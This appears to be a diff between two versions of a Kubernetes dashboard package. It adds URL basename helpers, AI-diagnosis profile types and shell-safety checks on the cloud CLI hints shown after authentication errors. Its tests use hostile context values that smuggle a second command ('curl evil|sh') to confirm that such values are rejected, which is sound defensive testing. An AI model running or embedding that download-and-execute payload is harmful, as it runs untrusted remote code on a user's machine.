@skyhook-io/radar-app 1.9.0 → 1.9.2

package/src/api/config.test.ts

@@ -0,0 +1,47 @@
+import { describe, expect, it, afterEach } from 'vitest'
+
+import { setBasename, stripBasename, routePath } from './config'
+
+// setBasename mutates module state — restore standalone default after each test.
+afterEach(() => {
+  setBasename('')
+})
+
+describe('stripBasename', () => {
+  it('passes paths through unchanged when no basename is configured', () => {
+    expect(stripBasename('/resources/pods')).toBe('/resources/pods')
+    expect(stripBasename('/')).toBe('/')
+  })
+
+  it('strips a configured basename prefix', () => {
+    setBasename('/c/abc')
+    expect(stripBasename('/c/abc/resources/pods')).toBe('/resources/pods')
+    expect(stripBasename('/c/abc/timeline?range=1h')).toBe('/timeline?range=1h')
+  })
+
+  it('maps the bare basename to root', () => {
+    setBasename('/c/abc')
+    expect(stripBasename('/c/abc')).toBe('/')
+  })
+
+  it('strips when the basename is followed directly by a query string', () => {
+    setBasename('/c/abc')
+    expect(stripBasename('/c/abc?tab=events')).toBe('?tab=events')
+  })
+
+  it('leaves basename-relative paths unchanged (idempotent)', () => {
+    setBasename('/c/abc')
+    expect(stripBasename('/resources/pods')).toBe('/resources/pods')
+    expect(stripBasename(stripBasename('/c/abc/resources/pods'))).toBe('/resources/pods')
+  })
+
+  it('does not strip a path that merely shares a string prefix', () => {
+    setBasename('/c/abc')
+    expect(stripBasename('/c/abcdef/resources')).toBe('/c/abcdef/resources')
+  })
+
+  it('inverts routePath', () => {
+    setBasename('/c/abc')
+    expect(stripBasename(routePath('/auth/login'))).toBe('/auth/login')
+  })
+})

package/src/api/config.ts

@@ -64,6 +64,21 @@ export function routePath(path: string): string {
   return prefix + path;
 }
 
+/**
+ * Inverse of `routePath`: strips the configured basename from a window-level
+ * path so it can be handed to React Router's navigate(), which re-applies the
+ * basename. Passing an already-prefixed path to navigate() doubles the prefix
+ * (e.g. /c/abc/c/abc/...). Basename-relative paths pass through unchanged.
+ */
+export function stripBasename(path: string): string {
+  const prefix = basename;
+  if (!prefix) return path;
+  if (path === prefix || path.startsWith(prefix + '/') || path.startsWith(prefix + '?')) {
+    return path.slice(prefix.length) || '/';
+  }
+  return path;
+}
+
 /**
  * Builds a WebSocket URL for a given API path.
  *

package/src/api/diagnose.ts

@@ -10,17 +10,26 @@ export interface AgentInfo {
   version: string;
   present: boolean;
   supported: boolean;
+  profiles?: ExecutionProfile[];
+  consentSurfaces?: Partial<Record<ExecutionProfile, string>>;
   hosted?: boolean;
 }
 
 export interface AgentsResponse {
   agents: AgentInfo[];
   enabled: boolean;
+  // eligible: this run mode supports local BYO-agent diagnosis (no proxy/OIDC
+  // auth, /mcp mounted) — true even when no agent is installed. Lets the UI tell
+  // "install an agent to enable this" (eligible && !enabled) apart from "not
+  // available here" (auth/cloud/--no-mcp). Absent on older servers / embed hosts.
+  eligible?: boolean;
   // Machine-scoped consent per disclosure surface, recorded server-side
   // (~/.radar) — one acknowledgment covers the web panel and the CLI.
-  consented?: { standard?: boolean; cursor?: boolean };
+  consented?: Record<string, boolean>;
 }
 
+export type ExecutionProfile = "safeguarded" | "full-local";
+
 export interface DiagnoseStep {
   id: string;
   tool: string;
@@ -64,14 +73,7 @@ export interface ResourceHealthSignal {
 }
 
 export interface DiagnoseStreamEvent {
-  type:
-    | "turn"
-    | "phase"
-    | "step"
-    | "thinking"
-    | "done"
-    | "error"
-    | "closed";
+  type: "turn" | "phase" | "step" | "thinking" | "done" | "error" | "closed";
   phase?: string;
   step?: DiagnoseStep;
   token?: string;
@@ -91,7 +93,7 @@ export interface RunSummary {
   name: string;
   context: string;
   agent?: string; // backend CLI that drove this run ("claude"/"codex")
-  isolated?: boolean;
+  profile?: ExecutionProfile;
   model?: string;
   effort?: string;
   managedBy?: string; // GitOps/Helm owner of the target ("Argo CD"/"Flux"/"Helm"), for the Apply warning
@@ -145,7 +147,7 @@ export async function createRun(
   },
   opts?: {
     agent?: string;
-    isolated?: boolean;
+    profile?: ExecutionProfile;
     model?: string;
     effort?: string;
   },
@@ -179,10 +181,8 @@ export async function listRuns(signal?: AbortSignal): Promise<RunsResponse> {
   return { runs: d.runs ?? [], historyDegraded: !!d.historyDegraded };
 }
 
-// recordConsent acknowledges the current disclosure for a surface, server-side.
-export async function recordConsent(
-  surface: "standard" | "cursor",
-): Promise<void> {
+// recordConsent acknowledges the current disclosure for an execution profile, server-side.
+export async function recordConsent(surface: string): Promise<void> {
   const res = await fetch(`${getApiBase()}/diagnose/consent`, {
     method: "POST",
     credentials: getCredentialsMode(),

package/src/components/ConnectionErrorView.test.tsx

@@ -0,0 +1,88 @@
+import { renderToStaticMarkup } from 'react-dom/server'
+import type { ReactNode } from 'react'
+import { describe, expect, it, vi } from 'vitest'
+
+vi.stubGlobal('window', { location: { host: 'localhost:9280' } })
+
+vi.mock('@skyhook-io/k8s-ui', () => ({
+  ClusterName: ({ name }: { name: string }) => <span>{name}</span>,
+  useOpenLocalTerminal: () => vi.fn(),
+}))
+vi.mock('../api/client', () => ({
+  useAuthMe: () => ({ data: { authEnabled: false } }),
+}))
+vi.mock('./ContextSwitcher', () => ({
+  ContextSwitcher: () => <button>Switch context</button>,
+}))
+vi.mock('./ui/Tooltip', () => ({
+  Tooltip: ({ children }: { children: ReactNode }) => children,
+}))
+
+import {
+  ConnectionErrorView,
+  CopyableCommand,
+  getAuthRejectedHints,
+  selectConnectionHints,
+} from './ConnectionErrorView'
+
+function renderError(errorType: string, context: string): string {
+  return renderToStaticMarkup(
+    <ConnectionErrorView
+      connection={{ state: 'disconnected', context, errorType, error: 'safe error' }}
+      onRetry={() => {}}
+      isRetrying={false}
+    />,
+  )
+}
+
+describe('ConnectionErrorView authentication guidance', () => {
+  it('builds an honest EKS diagnostic without presenting it as authentication', () => {
+    const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
+    const hints = getAuthRejectedHints(context)
+    const markup = renderError('auth-rejected', context)
+
+    expect(hints.authCommand?.command).toBe(
+      'aws sts get-caller-identity && aws eks describe-cluster --name prod --region us-east-1 --query cluster.accessConfig.authenticationMode --output text',
+    )
+    expect(hints.hideAuthButton).toBe(true)
+    expect(markup).toContain('EKS Could Not Authenticate This Request')
+    expect(markup).not.toContain('Authenticate in terminal')
+  })
+
+  it('does not offer interpolated commands for hostile EKS context values', () => {
+    const hints = getAuthRejectedHints('arn:aws:eks:us-east-1;curl evil|sh:123456789012:cluster/prod')
+
+    expect(hints.authCommand).toBeUndefined()
+    expect(hints.hideAuthButton).toBeUndefined()
+    expect(hints.fallbackCommand?.command).toBe('aws sso login')
+  })
+
+  it('does not offer interpolated commands for hostile GKE context values', () => {
+    const hints = getAuthRejectedHints('gke_project_us-east1_prod;curl evil|sh')
+
+    expect(hints.authCommand?.command).toBe('gcloud auth login')
+    expect(hints.fallbackCommand).toBeUndefined()
+  })
+
+  it('selects dedicated guidance for a stuck credential plugin', () => {
+    expect(selectConnectionHints('auth-plugin-stuck', 'eks-context')?.title).toBe('Credential Plugin Stopped Responding')
+
+    const markup = renderError('auth-plugin-stuck', 'eks-context')
+    expect(markup).toContain('Credential Plugin Stopped Responding')
+    expect(markup).not.toContain('aws sso login')
+  })
+
+  it('renders placeholder AKS commands without a run affordance', () => {
+    const markup = renderError('auth-rejected', 'clusterUser_platform_prod')
+
+    expect(markup.match(/aria-label="Run command in terminal"/g)).toHaveLength(1)
+    expect(markup).toContain('&lt;cluster&gt;')
+    expect(markup).toContain('&lt;rg&gt;')
+  })
+
+  it('renders copy-only commands without a run affordance', () => {
+    const markup = renderToStaticMarkup(<CopyableCommand command="placeholder" />)
+
+    expect(markup).not.toContain('aria-label="Run command in terminal"')
+  })
+})

package/src/components/ConnectionErrorView.tsx

@@ -6,6 +6,7 @@ import { parseContextName } from '../utils/context-name'
 import { useOpenLocalTerminal, ClusterName } from '@skyhook-io/k8s-ui'
 import { useAuthMe } from '../api/client'
 import { Tooltip } from './ui/Tooltip'
+import { allShellSafe } from '../utils/shell-safe'
 
 interface ConnectionErrorViewProps {
   connection: ConnectionState
@@ -13,13 +14,21 @@ interface ConnectionErrorViewProps {
   isRetrying: boolean
 }
 
+interface CommandHint {
+  label: string
+  command: string
+  runnable?: boolean
+}
+
 interface AuthHints {
   title: string
   hints: string[]
   /** Primary auth command — usually sufficient on its own */
-  authCommand?: { label: string; command: string }
+  authCommand?: CommandHint
   /** Secondary command shown as fallback if primary doesn't resolve the issue */
-  fallbackCommand?: { label: string; command: string }
+  fallbackCommand?: CommandHint
+  /** Set when authCommand is a diagnostic rather than a re-auth — suppresses the "Authenticate in terminal" button */
+  hideAuthButton?: boolean
 }
 
 function getAuthHints(context: string): AuthHints {
@@ -32,7 +41,7 @@ function getAuthHints(context: string): AuthHints {
         hints: ['Radar could not get Google Cloud credentials for this context.'],
         authCommand: { label: 'Refresh Google Cloud credentials:', command: 'gcloud auth login' },
       }
-      if (parsed.region && parsed.account) {
+      if (parsed.region && parsed.account && allShellSafe(parsed.clusterName, parsed.region, parsed.account)) {
         const isZone = /^[a-z]+-[a-z]+\d+-[a-z]$/.test(parsed.region)
         const flag = isZone ? '--zone' : '--region'
         result.fallbackCommand = {
@@ -51,7 +60,7 @@ function getAuthHints(context: string): AuthHints {
         ],
         authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: 'aws sso login' },
       }
-      if (parsed.region) {
+      if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
         result.fallbackCommand = {
           label: 'If that doesn\'t work, refresh cluster credentials:',
           command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
@@ -64,7 +73,7 @@ function getAuthHints(context: string): AuthHints {
         title: 'AKS Authentication Failed',
         hints: ['Radar could not get Azure credentials for this context.'],
         authCommand: { label: 'Refresh Azure credentials:', command: 'az login' },
-        fallbackCommand: { label: 'If that doesn\'t work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>' },
+        fallbackCommand: { label: 'If that doesn\'t work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>', runnable: false },
       }
     default:
       return {
@@ -77,6 +86,85 @@ function getAuthHints(context: string): AuthHints {
   }
 }
 
+export function getAuthRejectedHints(context: string): AuthHints {
+  const parsed = parseContextName(context)
+
+  switch (parsed.provider) {
+    case 'EKS': {
+      const result: AuthHints = {
+        title: 'EKS Could Not Authenticate This Request',
+        hints: [
+          'EKS returned HTTP 401, so Kubernetes could not authenticate this request.',
+          'The AWS credential may be missing, stale, or revoked, or its IAM principal may not be mapped through an EKS access entry or the cluster\'s legacy aws-auth configuration.',
+          'If the credential is current, ask a cluster admin to verify the mapping for the IAM principal used by this context.',
+          'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
+          'API and API_AND_CONFIG_MAP modes use access entries; CONFIG_MAP mode uses the aws-auth ConfigMap.',
+        ],
+        fallbackCommand: { label: 'If this context uses the current AWS SSO profile, re-login and retry:', command: 'aws sso login' },
+      }
+      if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
+        result.authCommand = {
+          label: 'Inspect the caller and authentication mode for the current terminal AWS profile:',
+          command: `aws sts get-caller-identity && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region} --query cluster.accessConfig.authenticationMode --output text`,
+        }
+        // A diagnostic, not a re-auth — the "Authenticate in terminal" button
+        // would misrepresent what running it does.
+        result.hideAuthButton = true
+      }
+      return result
+    }
+    case 'GKE': {
+      const result: AuthHints = {
+        title: 'GKE Could Not Authenticate This Request',
+        hints: [
+          'GKE returned HTTP 401, so Kubernetes could not authenticate this request.',
+          'The credential or auth plugin may be missing or misconfigured, or the OAuth token may be stale or revoked.',
+        ],
+        authCommand: { label: 'Refresh Google Cloud credentials:', command: 'gcloud auth login' },
+      }
+      if (parsed.region && parsed.account && allShellSafe(parsed.clusterName, parsed.region, parsed.account)) {
+        const isZone = /^[a-z]+-[a-z]+\d+-[a-z]$/.test(parsed.region)
+        const flag = isZone ? '--zone' : '--region'
+        result.fallbackCommand = {
+          label: 'If that doesn\'t work, refresh cluster credentials:',
+          command: `gcloud container clusters get-credentials ${parsed.clusterName} ${flag} ${parsed.region} --project ${parsed.account}`,
+        }
+      }
+      return result
+    }
+    case 'AKS':
+      return {
+        title: 'AKS Could Not Authenticate This Request',
+        hints: [
+          'AKS returned HTTP 401, so Kubernetes could not authenticate this request.',
+          'The credential may be missing, stale, or revoked — re-authenticating usually resolves this.',
+        ],
+        authCommand: { label: 'Refresh Azure credentials:', command: 'az login' },
+        fallbackCommand: { label: 'If that doesn\'t work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>', runnable: false },
+      }
+    default:
+      return {
+        title: 'Kubernetes Could Not Authenticate This Request',
+        hints: [
+          'The Kubernetes API returned HTTP 401, so it could not authenticate this request.',
+          'The kubeconfig user may not have supplied a credential, or its credential may be expired or revoked.',
+          'If the cluster maps identities explicitly, the principal used by this context may not be mapped yet.',
+        ],
+      }
+  }
+}
+
+function getAuthPluginStuckHints(): AuthHints {
+  return {
+    title: 'Credential Plugin Stopped Responding',
+    hints: [
+      'The credential command configured by this kubeconfig did not return before the deadline.',
+      'Check that your cloud-provider CLI and its identity-provider or network dependencies are responsive.',
+      'Radar will keep checking in the background and reconnect when the credential command recovers.',
+    ],
+  }
+}
+
 function getTimeoutHints(context: string): AuthHints | null {
   const parsed = parseContextName(context)
   const baseHints = [
@@ -91,7 +179,7 @@ function getTimeoutHints(context: string): AuthHints | null {
         hints: [...baseHints, 'If the endpoint is reachable, Google Cloud credentials may need refresh.'],
         authCommand: { label: 'If network access looks healthy, refresh Google Cloud credentials:', command: 'gcloud auth login' },
       }
-      if (parsed.region && parsed.account) {
+      if (parsed.region && parsed.account && allShellSafe(parsed.clusterName, parsed.region, parsed.account)) {
         const isZone = /^[a-z]+-[a-z]+\d+-[a-z]$/.test(parsed.region)
         const flag = isZone ? '--zone' : '--region'
         result.fallbackCommand = {
@@ -107,7 +195,7 @@ function getTimeoutHints(context: string): AuthHints | null {
         hints: [...baseHints, 'If the endpoint is reachable, AWS credentials or SSO may need refresh.'],
         authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: 'aws sso login' },
       }
-      if (parsed.region) {
+      if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
         result.fallbackCommand = {
           label: 'If that does not work, refresh cluster credentials:',
           command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
@@ -120,7 +208,7 @@ function getTimeoutHints(context: string): AuthHints | null {
         title: 'Connection Timed Out',
         hints: [...baseHints, 'If the endpoint is reachable, Azure credentials may need refresh.'],
         authCommand: { label: 'If network access looks healthy, refresh Azure credentials:', command: 'az login' },
-        fallbackCommand: { label: 'If that does not work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>' },
+        fallbackCommand: { label: 'If that does not work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>', runnable: false },
       }
     default:
       return null
@@ -157,8 +245,9 @@ const errorHints: Record<string, { title: string; hints: string[] }> = {
   tls: {
     title: 'Certificate Error',
     hints: [
-      'Radar reached the Kubernetes API, but could not verify its TLS certificate',
-      'Check the kubeconfig cluster server hostname and certificate-authority settings',
+      'Radar reached the Kubernetes API, but the TLS handshake failed',
+      'If the error mentions "bad certificate" or "certificate required", the cluster rejected Radar\'s client certificate — it may have expired (kubeadm certs expire after a year). Renew it (e.g. kubeadm certs renew) or re-download the kubeconfig',
+      'Otherwise check the kubeconfig cluster server hostname and certificate-authority settings',
       'If this cluster intentionally uses a private CA, refresh the kubeconfig for this context',
     ],
   },
@@ -181,7 +270,7 @@ const errorHints: Record<string, { title: string; hints: string[] }> = {
   },
 }
 
-function CopyableCommand({ command, onRunInTerminal }: { command: string; onRunInTerminal?: (command: string) => void }) {
+export function CopyableCommand({ command, onRunInTerminal }: { command: string; onRunInTerminal?: (command: string) => void }) {
   const [copied, setCopied] = useState(false)
   const commandParts = command.split(/(\s+)/)
 
@@ -231,15 +320,28 @@ function CopyableCommand({ command, onRunInTerminal }: { command: string; onRunI
   )
 }
 
+export function selectConnectionHints(errorType: string | undefined, context: string): AuthHints | null {
+  switch (errorType) {
+    case 'auth':
+      return getAuthHints(context)
+    case 'auth-rejected':
+      return getAuthRejectedHints(context)
+    case 'auth-plugin-stuck':
+      return getAuthPluginStuckHints()
+    case 'timeout':
+      return getTimeoutHints(context)
+    default:
+      return null
+  }
+}
+
 export function ConnectionErrorView({ connection, onRetry, isRetrying }: ConnectionErrorViewProps) {
   // For auth errors, generate context-aware hints with a specific re-auth command
   const isAuth = connection.errorType === 'auth'
-  const isTimeout = connection.errorType === 'timeout'
-  const commandInfo = isAuth
-    ? getAuthHints(connection.context || '')
-    : isTimeout
-      ? getTimeoutHints(connection.context || '')
-      : null
+  const isAuthRejected = connection.errorType === 'auth-rejected'
+  const isAuthPluginStuck = connection.errorType === 'auth-plugin-stuck'
+  const isAuthError = isAuth || isAuthRejected || isAuthPluginStuck
+  const commandInfo = selectConnectionHints(connection.errorType, connection.context || '')
   const errorInfo = commandInfo || errorHints[connection.errorType || 'unknown'] || errorHints.unknown
   const openLocalTerminal = useOpenLocalTerminal()
   const { data: authMe } = useAuthMe()
@@ -315,8 +417,8 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
             {commandInfo?.authCommand && (
               <div className="mt-3">
                 <p className="text-xs text-theme-text-tertiary">{commandInfo.authCommand.label}</p>
-                <CopyableCommand command={commandInfo.authCommand.command} onRunInTerminal={handleRunInTerminal} />
-                {isAuth && (
+                <CopyableCommand command={commandInfo.authCommand.command} onRunInTerminal={commandInfo.authCommand.runnable === false ? undefined : handleRunInTerminal} />
+                {isAuthError && !commandInfo?.hideAuthButton && commandInfo.authCommand.runnable !== false && (
                   <button
                     onClick={handleAuthInTerminal}
                     className="mt-3 w-full inline-flex items-center justify-center gap-2 px-3 py-2 text-xs font-medium btn-brand rounded-md"
@@ -330,7 +432,7 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
             {commandInfo?.fallbackCommand && (
               <div className="mt-4 pt-3 border-t border-theme-border/50">
                 <p className="text-xs text-theme-text-tertiary">{commandInfo.fallbackCommand.label}</p>
-                <CopyableCommand command={commandInfo.fallbackCommand.command} onRunInTerminal={handleRunInTerminal} />
+                <CopyableCommand command={commandInfo.fallbackCommand.command} onRunInTerminal={commandInfo.fallbackCommand.runnable === false ? undefined : handleRunInTerminal} />
               </div>
             )}
             {connection.error && (
@@ -380,9 +482,13 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
             {connection.errorType !== 'config' && <ContextSwitcher triggerName="Switch context" />}
           </div>
 
-          {isAuth && (
+          {isAuthError && (
             <p className="mt-4 text-xs text-theme-text-tertiary">
-              Radar will keep retrying after credentials are refreshed.
+              {isAuthRejected
+                ? 'Radar re-checks in the background — access changes are picked up automatically. Use Retry Connection to check immediately.'
+                : isAuthPluginStuck
+                  ? 'Radar re-checks in the background and reconnects when the credential plugin responds. Use Retry Connection to check immediately.'
+                  : 'Radar re-checks in the background and reconnects once credentials are refreshed. Use Retry Connection to check immediately.'}
             </p>
           )}
         </div>